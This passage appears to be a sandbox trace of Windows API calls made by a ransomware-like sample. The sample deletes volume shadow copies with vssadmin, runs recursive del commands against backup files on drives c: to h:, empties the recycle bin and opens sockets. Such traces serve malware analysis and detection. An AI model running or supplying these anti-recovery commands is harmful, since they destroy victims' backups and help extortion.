dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2289178 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=h: /on=h: /maxsize=unbounded", lpProcessInformation=0x2289178*(hProcess=0x2bc, hThread=0x1f4, dwProcessId=0xa90, dwThreadId=0xaa0)) returned 1 [0103.209] CloseHandle (hObject=0x1f8) returned 1 [0103.209] GetFileType (hFile=0x2c0) returned 0x3 [0103.210] CloseHandle (hObject=0x1f4) returned 1 [0103.210] ReadFile (in: hFile=0x2c0, lpBuffer=0x2289a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2289a48*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0103.314] ReadFile (in: hFile=0x2c0, lpBuffer=0x2289a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2289a48*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0103.318] ReadFile (in: hFile=0x2c0, lpBuffer=0x2289a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2289a48*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0103.319] ReadFile (in: hFile=0x2c0, lpBuffer=0x2289a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2289a48*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0103.319] ReadFile (in: hFile=0x2c0, lpBuffer=0x2289a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2289a48*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0103.320] ReadFile (in: hFile=0x2c0, lpBuffer=0x2289a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2289a48, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0103.327] GetCurrentProcess () returned 0xffffffffffffffff [0103.327] GetCurrentProcess () returned 0xffffffffffffffff [0103.327] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2bc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0103.330] CloseHandle (hObject=0x1f4) returned 1 [0103.330] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.330] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0103.330] GetCurrentProcess () returned 0xffffffffffffffff [0103.330] GetCurrentProcess () returned 0xffffffffffffffff [0103.330] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2c8) returned 1 [0103.330] CloseHandle (hObject=0x1f4) returned 1 [0103.330] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.330] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.330] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.330] CoTaskMemFree (pv=0x1a5750d0) [0103.331] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edea0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x228d590 | out: lpCommandLine="\"vssadmin.exe\" Delete Shadows /all /quiet", lpProcessInformation=0x228d590*(hProcess=0x2c4, hThread=0x1f4, dwProcessId=0xaf4, dwThreadId=0xb04)) returned 1 [0103.339] CloseHandle (hObject=0x1f8) returned 1 [0103.339] GetFileType (hFile=0x2c8) returned 0x3 [0103.340] CloseHandle (hObject=0x1f4) returned 1 [0103.340] ReadFile (in: hFile=0x2c8, lpBuffer=0x228de28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x228de28*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0103.468] ReadFile (in: hFile=0x2c8, lpBuffer=0x228de28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x228de28*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0103.517] ReadFile (in: hFile=0x2c8, lpBuffer=0x228de28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x228de28*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0103.518] ReadFile (in: hFile=0x2c8, lpBuffer=0x228de28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x228de28*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0103.518] ReadFile (in: hFile=0x2c8, lpBuffer=0x228de28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x228de28*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0103.519] ReadFile (in: hFile=0x2c8, lpBuffer=0x228de28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x228de28, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0103.529] GetCurrentProcess () returned 0xffffffffffffffff [0103.529] GetCurrentProcess () returned 0xffffffffffffffff [0103.529] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2c4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0103.531] CloseHandle (hObject=0x1f4) returned 1 [0103.531] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.532] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0103.532] GetCurrentProcess () returned 0xffffffffffffffff [0103.532] GetCurrentProcess () returned 0xffffffffffffffff [0103.532] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2d0) returned 1 [0103.532] CloseHandle (hObject=0x1f4) returned 1 [0103.532] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.532] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.532] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.532] CoTaskMemFree (pv=0x1a5750d0) [0103.532] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"del.exe\" /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede10*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2291a88 | out: lpCommandLine="\"del.exe\" /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk", lpProcessInformation=0x2291a88*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0103.542] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x1edd80, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0103.566] CloseHandle (hObject=0x1f8) returned 1 [0103.567] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.567] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f8, hWritePipe=0x1edff8*=0x2cc) returned 1 [0103.567] GetCurrentProcess () returned 0xffffffffffffffff [0103.567] GetCurrentProcess () returned 0xffffffffffffffff [0103.567] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2d4) returned 1 [0103.567] CloseHandle (hObject=0x1f8) returned 1 [0103.567] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.567] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.567] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.568] CoTaskMemFree (pv=0x1a5750d0) [0103.568] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"del.exe\" /s /f /q d:\\*.VHD d:\\*.bac d:\\*.bak d:\\*.wbcat d:\\*.bkf d:\\Backup*.* d:\\backup*.* d:\\*.set d:\\*.win d:\\*.dsk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede10*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x2cc, hStdError=0x0), lpProcessInformation=0x2292db0 | out: lpCommandLine="\"del.exe\" /s /f /q d:\\*.VHD d:\\*.bac d:\\*.bak d:\\*.wbcat d:\\*.bkf d:\\Backup*.* d:\\backup*.* d:\\*.set d:\\*.win d:\\*.dsk", lpProcessInformation=0x2292db0*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0103.568] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x1edd80, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0103.569] CloseHandle (hObject=0x2cc) returned 1 [0103.570] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.570] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x2cc, hWritePipe=0x1edff8*=0x1f8) returned 1 [0103.570] GetCurrentProcess () returned 0xffffffffffffffff [0103.570] GetCurrentProcess () returned 0xffffffffffffffff [0103.570] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2cc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2d8) returned 1 [0103.570] CloseHandle (hObject=0x2cc) returned 1 [0103.570] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.570] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.570] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.570] CoTaskMemFree (pv=0x1a5750d0) [0103.571] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"del.exe\" /s /f /q e:\\*.VHD e:\\*.bac e:\\*.bak e:\\*.wbcat e:\\*.bkf e:\\Backup*.* e:\\backup*.* e:\\*.set e:\\*.win e:\\*.dsk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede10*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2294078 | out: lpCommandLine="\"del.exe\" /s /f /q e:\\*.VHD e:\\*.bac e:\\*.bak e:\\*.wbcat e:\\*.bkf e:\\Backup*.* e:\\backup*.* e:\\*.set e:\\*.win e:\\*.dsk", lpProcessInformation=0x2294078*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0103.571] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x1edd80, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0103.572] CloseHandle (hObject=0x1f8) returned 1 [0103.573] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.573] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f8, hWritePipe=0x1edff8*=0x2cc) returned 1 [0103.573] GetCurrentProcess () returned 0xffffffffffffffff [0103.573] GetCurrentProcess () returned 0xffffffffffffffff [0103.573] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2dc) returned 1 [0103.573] CloseHandle (hObject=0x1f8) returned 1 [0103.573] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.573] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.573] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.573] CoTaskMemFree (pv=0x1a5750d0) [0103.573] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"del.exe\" /s /f /q f:\\*.VHD f:\\*.bac f:\\*.bak f:\\*.wbcat f:\\*.bkf f:\\Backup*.* f:\\backup*.* f:\\*.set f:\\*.win f:\\*.dsk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede10*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x2cc, hStdError=0x0), lpProcessInformation=0x2295340 | out: lpCommandLine="\"del.exe\" /s /f /q f:\\*.VHD f:\\*.bac f:\\*.bak f:\\*.wbcat f:\\*.bkf f:\\Backup*.* f:\\backup*.* f:\\*.set f:\\*.win f:\\*.dsk", lpProcessInformation=0x2295340*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0103.574] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x1edd80, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0103.576] CloseHandle (hObject=0x2cc) returned 1 [0103.576] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.576] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x2cc, hWritePipe=0x1edff8*=0x1f8) returned 1 [0103.577] GetCurrentProcess () returned 0xffffffffffffffff [0103.577] GetCurrentProcess () returned 0xffffffffffffffff [0103.577] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2cc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2e0) returned 1 [0103.577] CloseHandle (hObject=0x2cc) returned 1 [0103.577] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.577] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.577] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.577] CoTaskMemFree (pv=0x1a5750d0) [0103.577] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"del.exe\" /s /f /q g:\\*.VHD g:\\*.bac g:\\*.bak g:\\*.wbcat g:\\*.bkf g:\\Backup*.* g:\\backup*.* g:\\*.set g:\\*.win g:\\*.dsk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede10*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2296608 | out: lpCommandLine="\"del.exe\" /s /f /q g:\\*.VHD g:\\*.bac g:\\*.bak g:\\*.wbcat g:\\*.bkf g:\\Backup*.* g:\\backup*.* g:\\*.set g:\\*.win g:\\*.dsk", lpProcessInformation=0x2296608*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0103.578] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x1edd80, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0103.579] CloseHandle (hObject=0x1f8) returned 1 [0103.579] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.579] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f8, hWritePipe=0x1edff8*=0x2cc) returned 1 [0103.579] GetCurrentProcess () returned 0xffffffffffffffff [0103.579] GetCurrentProcess () returned 0xffffffffffffffff [0103.579] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2e4) returned 1 [0103.579] CloseHandle (hObject=0x1f8) returned 1 [0103.580] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.580] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.580] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.580] CoTaskMemFree (pv=0x1a5750d0) [0103.580] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"del.exe\" /s /f /q h:\\*.VHD h:\\*.bac h:\\*.bak h:\\*.wbcat h:\\*.bkf h:\\Backup*.* h:\\backup*.* h:\\*.set h:\\*.win h:\\*.dsk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede10*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x2cc, hStdError=0x0), lpProcessInformation=0x22978d0 | out: lpCommandLine="\"del.exe\" /s /f /q h:\\*.VHD h:\\*.bac h:\\*.bak h:\\*.wbcat h:\\*.bkf h:\\Backup*.* h:\\backup*.* h:\\*.set h:\\*.win h:\\*.dsk", lpProcessInformation=0x22978d0*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0103.580] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x1edd80, nSize=0x101, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0103.581] CloseHandle (hObject=0x2cc) returned 1 [0103.608] SHEmptyRecycleBinW (hwnd=0x0, pszRootPath=0x0, dwFlags=0x5) returned 0x8000ffff [0104.197] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1edec8 | out: lpWSAData=0x1edec8) returned 0 [0104.210] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x42c [0104.218] setsockopt (s=0x42c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0104.218] closesocket (s=0x42c) returned 0 [0104.218] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x42c [0104.221] setsockopt (s=0x42c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0104.221] closesocket (s=0x42c) returned 0 [0104.642] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe.config", nBufferLength=0x105, lpBuffer=0x1ed7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe.config", lpFilePart=0x0) returned 0x37 [0104.642] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe.config", nBufferLength=0x105, lpBuffer=0x1ed690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe.config", lpFilePart=0x0) returned 0x37 [0104.785] GetCurrentProcess () returned 0xffffffffffffffff [0104.785] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1eda88 | out: TokenHandle=0x1eda88*=0x42c) returned 1 [0104.789] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1ed4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0104.836] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1edb40 | out: lpFileInformation=0x1edb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf94a3c00, ftCreationTime.dwHighDateTime=0x1cd5d49, ftLastAccessTime.dwLowDateTime=0x3463ef90, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0xf94a3c00, ftLastWriteTime.dwHighDateTime=0x1cd5d49, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0104.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0104.839] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1edb28 | out: lpFileInformation=0x1edb28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf94a3c00, ftCreationTime.dwHighDateTime=0x1cd5d49, ftLastAccessTime.dwLowDateTime=0x3463ef90, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0xf94a3c00, ftLastWriteTime.dwHighDateTime=0x1cd5d49, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0104.841] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0104.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ed9a0) returned 1 [0104.842] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x430 [0104.842] GetFileType (hFile=0x430) returned 0x1 [0104.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ed910) returned 1 [0104.842] GetFileType (hFile=0x430) returned 0x1 [0104.873] GetFileSize (in: hFile=0x430, lpFileSizeHigh=0x1eda78 | out: lpFileSizeHigh=0x1eda78*=0x0) returned 0x8c8f [0104.874] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed9e8, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed9e8*=0x1000, lpOverlapped=0x0) returned 1 [0104.895] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed7c8, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed7c8*=0x1000, lpOverlapped=0x0) returned 1 [0104.897] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ed5b8, lpOverlapped=0x0 | out: lpBuffer=0x229e058*, lpNumberOfBytesRead=0x1ed5b8*=0x1000, lpOverlapped=0x0) returned 1 [0104.898] ReadFile (in: hFile=0x430, lpBuffer=0x229e058, 